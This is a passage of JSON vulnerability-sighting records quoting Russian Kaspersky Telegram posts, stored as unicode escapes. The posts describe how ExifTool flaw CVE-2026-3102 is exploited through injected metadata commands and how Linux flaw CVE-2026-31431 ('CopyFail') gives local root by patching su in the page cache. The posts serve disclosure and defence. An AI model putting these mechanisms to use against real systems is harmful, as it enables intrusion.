"https://t.me/kasperskylab_ru/7426", "content": "\u0414\u0430\u0439\u0434\u0436\u0435\u0441\u0442 \u043a\u0438\u0431\u0435\u0440\u043d\u043e\u0432\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e \u27a1\ufe0f\n\n\ud83d\udfe2\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u043d\u0430\u0448\u0435\u0433\u043e \u043e\u043f\u0440\u043e\u0441\u0430 \u2014 \u0441 \u0442\u0440\u0430\u0432\u043b\u0435\u0439 \u0432 \u0441\u0435\u0442\u0438 \u0441\u0442\u0430\u043b\u043a\u0438\u0432\u0430\u043b\u0438\u0441\u044c 13% \u0434\u0435\u0442\u0435\u0439, \u0430 22% \u0445\u043e\u0442\u044f \u0431\u044b \u0440\u0430\u0437 \u0437\u0430 \u0433\u043e\u0434 \u043e\u0431\u0449\u0430\u043b\u0438\u0441\u044c \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435 \u0441 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u043e\u043b\u0435\u0442\u043d\u0438\u043c\u0438 \u043d\u0435\u0437\u043d\u0430\u043a\u043e\u043c\u0446\u0430\u043c\u0438. \u041e \u0432\u0430\u0436\u043d\u044b\u0445 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u0445 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u2014 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u043c \u0432 \u043f\u043e\u0441\u0442\u0435.\n\n\ud83d\udfe2\u041d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0433\u0440\u0443\u043f\u043f\u044b Cloud Atlas: \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0438 \u0441\u0432\u043e\u0439 \u0430\u0440\u0441\u0435\u043d\u0430\u043b. \u041f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439 \u2014 \u0433\u043e\u0441\u0432\u0435\u0434\u043e\u043c\u0441\u0442\u0432\u0430 \u0438 \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u0438 \u0411\u0435\u043b\u0430\u0440\u0443\u0441\u0438. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0447\u0438\u0442\u0430\u0439\u0442\u0435 \u043d\u0430 Securelist.\n\n\ud83d\udfe2\u0421 \u043d\u0430\u0447\u0430\u043b\u0430 2026 \u0433\u043e\u0434\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0443\u0436\u0435 \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0438\u0441\u044c \u0441 13 \u0442\u044b\u0441\u044f\u0447\u0430\u043c\u0438 \u0430\u0442\u0430\u043a \u0447\u0435\u0440\u0435\u0437 \u042d\u0414\u041e \u2014 \u044d\u0442\u043e \u0431\u043e\u043b\u044c\u0448\u0435, \u0447\u0435\u043c \u0437\u0430 \u0432\u0435\u0441\u044c 2025 \u0433\u043e\u0434. \u041e\u0431\u044a\u044f\u0441\u043d\u044f\u0435\u043c \u043f\u0440\u0438\u0447\u0438\u043d\u044b \u0438 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c \u043c\u0435\u0445\u0430\u043d\u0438\u043a\u0443 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \n\n\ud83d\udfe2\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b Kaspersky GReAT\u00a0\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-3102 \u0432\u00a0ExifTool, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 \u0443\u0442\u0438\u043b\u0438\u0442\u0435\u00a0\u0434\u043b\u044f macOS. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0451 \u0434\u043b\u044f \u043f\u043e\u0445\u0438\u0449\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0447\u0438\u0442\u0430\u0439\u0442\u0435 \u0432 \u043d\u0430\u0448\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043d\u0430 Securelist.\n\n\u0421\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0438\u0437 \u043c\u0438\u0440\u0430 \u0431\u0438\u0437\u043d\u0435\u0441\u0430:\n\ud83d\udfe2\u0420\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0432\u0435\u043a\u0442\u043e\u0440\u044b \u0430\u0442\u0430\u043a \u043d\u0430 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443.\n\ud83d\udfe2\u0414\u0430\u0451\u043c \u0441\u043e\u0432\u0435\u0442\u044b \u043f\u043e \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 Kaspersky Scan Engine.\n\n\u0418 \u0435\u0449\u0451 \u043a\u043e\u0435-\u0447\u0442\u043e \u0441 \u041f\u041c\u042d\u0424 2026:\n\ud83d\udfe2 \u0415\u0432\u0433\u0435\u043d\u0438\u0439 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u0438\u0439 \u043e \u043f\u043b\u0430\u043d\u0430\u0445 \u043d\u0430 \u043c\u0435\u0440\u043e\u043f\u0440\u0438\u044f\u0442\u0438\u0435.\n\ud83d\udfe2 \u042d\u043a\u0441\u043a\u0443\u0440\u0441\u0438\u044f \u043f\u043e \u0441\u0442\u0435\u043d\u0434\u0443 \u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e\u00bb.\n\ud83d\udfe2 \u0421\u043f\u0435\u0446\u0432\u044b\u043f\u0443\u0441\u043a \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044f \u00ab\u041a\u0438\u0431\u0435\u0440\u043f\u0443\u043b\u044c\u0441\u00bb \u0438 \u043a\u0440\u0430\u0442\u043a\u0438\u0439 \u043e\u0431\u0437\u043e\u0440 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u043a\u0438\u0431\u0435\u0440\u0443\u0433\u0440\u043e\u0437 \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430 \u043e\u0442 \u0414\u043c\u0438\u0442\u0440\u0438\u044f \u0413\u0430\u043b\u043e\u0432\u0430, \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f Kaspersky GReAT \u0432 \u0420\u043e\u0441\u0441\u0438\u0438.\n\ud83d\udfe2 \u0424\u0440\u0430\u0433\u043c\u0435\u043d\u0442 \u0432\u044b\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f \u0410\u043d\u0442\u043e\u043d\u0430 \u0418\u0432\u0430\u043d\u043e\u0432\u0430, \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0430, \u043f\u0440\u043e \u043c\u0443\u043b\u044c\u0442\u0438\u0430\u0433\u0435\u043d\u0442\u043d\u044b\u0435 \u0418\u0418-\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u0443 \u0434\u043b\u044f \u0442\u0443\u0440\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043e\u0442\u0440\u0430\u0441\u043b\u0438. \u0410 \u0442\u0430\u043a\u0436\u0435 \u0435\u0433\u043e \u0432\u043f\u0435\u0447\u0430\u0442\u043b\u0435\u043d\u0438\u044f \u043e\u0442 \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u0434\u043d\u044f \u041f\u041c\u042d\u0424.\n\ud83d\udfe2 \u041e \u043c\u0435\u0436\u0434\u0443\u043d\u0430\u0440\u043e\u0434\u043d\u043e\u043c \u0430\u0441\u043f\u0435\u043a\u0442\u0435 \u0440\u0430\u0431\u043e\u0442\u044b \u043d\u0430 \u043c\u0435\u0440\u043e\u043f\u0440\u0438\u044f\u0442\u0438\u0438 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u042e\u043b\u0438\u044f \u0428\u043b\u044b\u0447\u043a\u043e\u0432\u0430, \u0432\u0438\u0446\u0435-\u043f\u0440\u0435\u0437\u0438\u0434\u0435\u043d\u0442 \u043f\u043e PA (public affairs).\n\ud83d\udfe2\u041c\u0438\u0445\u0430\u0438\u043b \u0413\u0435\u0440\u0431\u0435\u0440, \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440, \u043f\u0440\u043e \u043e\u0434\u043d\u0443 \u0438\u0437 \u0432\u0430\u0436\u043d\u044b\u0445 \u0442\u0435\u043c \u0437\u0430\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043d\u044f \u041f\u041c\u042d\u0424 \u2014 \u0437\u0430\u0449\u0438\u0442\u0443 \u0434\u0435\u0442\u0435\u0439 \u0432 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u043c \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435.  \n\n#KD_\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442", "creation_timestamp": "2026-09-09T03:00:07.278750Z"}, {"uuid": "99a5e888-fe67-43fa-b4a9-205f4676dfb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "published-proof-of-concept", "source": "https://t.me/kasperskylab_ru/7421", "content": "\ud83c\udf4f \u0411\u0440\u0435\u0448\u044c \u0432 ExifTool \u2014 \u0438 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 macOS\n\u00a0\n\u0412 \u0444\u0435\u0432\u0440\u0430\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u043d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0438\u0437 \u043a\u043e\u043c\u0430\u043d\u0434\u044b Kaspersky GReAT\u00a0\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-3102 \u0432\u00a0ExifTool\u00a0\u2014 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 \u0443\u0442\u0438\u043b\u0438\u0442\u0435\u00a0\u0434\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439, PDF, \u0430\u0443\u0434\u0438\u043e \u0438 \u0432\u0438\u0434\u0435\u043e. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043d\u0430 \u0431\u0430\u0437\u0435 \u041e\u0421\u00a0macOS \u0438 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043e\u0447\u0438\u0441\u0442\u043a\u0438 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0442\u0435\u0433\u043e\u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445.\n\u00a0\n\u0427\u0442\u043e\u0431\u044b \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043b\u0430\u0437\u0435\u0439\u043a\u043e\u0439, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0434\u043e\u043b\u0436\u0435\u043d \u0437\u0430\u0448\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u0430 \u2014 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 \u043f\u043e\u043b\u0435 DateTimeOriginal. \u0422\u0430\u043a\u0436\u0435 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u043e \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0442\u0435\u0433\u043e\u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0444\u0438\u043b\u044c\u0442\u0440 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438.\n\u00a0\n\u041f\u043e\u0441\u043b\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0444\u0430\u0439\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0436\u0435\u0440\u0442\u0432\u044b \u0442\u0440\u043e\u044f\u043d\u0435\u0446 \u0434\u043b\u044f \u043f\u043e\u0445\u0438\u0449\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0434\u043b\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u043f\u0440\u043e\u0434\u0432\u0438\u0436\u0435\u043d\u0438\u044f \u043f\u043e \u0441\u0435\u0442\u0438.\n\u00a0\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440\u00a0\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-3102 \u0447\u0438\u0442\u0430\u0439\u0442\u0435 \u0432 \u043d\u0430\u0448\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043d\u0430 Securelist.\n\n\ud83d\udc99 Kaspersky \u0432 \u0412\u041a\n\ud83d\udcac Kaspersky \u0432 Max\n\ud83d\udcac \u041f\u043e\u0440\u0432\u0430\u043b\u0438 \u0434\u0432\u0430 \u0442\u0440\u043e\u044f\u043d\u0430 \u0432 Max", "creation_timestamp": "2026-09-09T03:00:07.312271Z"}, {"uuid": "0ef6a760-9d12-4f08-8eae-8a98e520e6ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "seen", "source": "https://t.me/kasperskylab_ru/7393", "content": "\u0412 \u0441\u0432\u0435\u0436\u0435\u043c #kaspersky_securityweek:\n\n\ud83d\udfe2\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Cloudflare \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u043e\u0442\u0447\u0451\u0442 \u043e \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438 \u0418\u0418-\u0430\u0441\u0441\u0438\u0441\u0442\u0435\u043d\u0442\u0430 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Claude Mythos \u043d\u0430 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0431\u0430\u0437\u0435. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u044f\u0432\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043d\u043e \u0438 \u0441\u043a\u043e\u043d\u0441\u0442\u0440\u0443\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u0447\u0435\u043c \u043f\u0440\u043e\u0438\u043b\u043b\u044e\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0438\u0445 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c. \u0412 \u043e\u0442\u0447\u0451\u0442\u0435 Cloudflare \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043e\u0431\u0432\u044f\u0437\u043a\u0438 \u0432\u043e\u043a\u0440\u0443\u0433 \u0418\u0418-\u0430\u0441\u0441\u0438\u0441\u0442\u0435\u043d\u0442\u0430 \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u0438\u0441\u043a\u0430 \u043e\u0448\u0438\u0431\u043e\u043a, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0437\u0430\u043a\u0440\u044b\u0442\u0438\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u0440\u0430\u0441\u0442\u0443\u0449\u0435\u0439 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u0438 \u0442\u0430\u043a\u0438\u0445 \u0430\u0441\u0441\u0438\u0441\u0442\u0435\u043d\u0442\u043e\u0432.\n\n\ud83d\udfe2\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e\u00bb \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-3102 \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 ExifTool \u0438 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043b\u0438 \u043e \u043d\u043e\u0432\u044b\u0445 \u043f\u0440\u0438\u0451\u043c\u0430\u0445 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 Cloud Atlas, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0439 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u0438 \u0411\u0435\u043b\u0430\u0440\u0443\u0441\u0438.\n\n\ud83d\udfe2\u041c\u0430\u0441\u0441\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u043f\u0430\u043a\u0435\u0442\u044b \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 NPM, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u043d\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u041f\u041e, \u043f\u0440\u0438\u0432\u0435\u043b\u0430 \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0431\u043e\u043b\u0435\u0435 300 \u0440\u0435\u043b\u0438\u0437\u043e\u0432. \u0412 \u0430\u0442\u0430\u043a\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u0441\u044f \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.", "creation_timestamp": "2026-09-09T03:00:07.345161Z"}, {"uuid": "96526ce9-0d7f-45f8-a005-07523cdd7583", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/kasperskylab_ru/7324", "content": "\u2757\ufe0f CopyFail \u0443\u0433\u0440\u043e\u0436\u0430\u0435\u0442 \u0432\u0441\u0435\u043c \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u043c \u041e\u0421 Linux\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0432\u0447\u0435\u0440\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-31431 (\u043e\u043d\u0430 \u0436\u0435 \u2014 CopyFail) \u0436\u0438\u0432\u0451\u0442 \u0432 \u043a\u043e\u0434\u0435 \u0441 2017 \u0433\u043e\u0434\u0430 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u041e\u0421.\n\n\ud83d\udd3b\u041a\u0430\u043a \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442\n\u0412\u0441\u0451, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u2014 Python-\u0441\u043a\u0440\u0438\u043f\u0442 \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 732 \u0431\u0430\u0439\u0442\u0430. \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0448\u0438\u0431\u043a\u0443 \u0432 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u044f\u0434\u0440\u0430 (authencesn), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0432\u0441\u0435\u0433\u043e 4 \u0431\u0430\u0439\u0442\u0430 \u0432 \u043a\u0435\u0448 \u043b\u044e\u0431\u043e\u0433\u043e \u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0443\u044e \u0443\u0442\u0438\u043b\u0438\u0442\u0443 su (\u0441\u043c\u0435\u043d\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f) \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u0443\u044e \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0441\u0443\u043f\u0435\u0440\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u041d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u044e\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043c\u0435\u0442\u043e\u0434\u0430 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0430\u0442\u0430\u043a, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 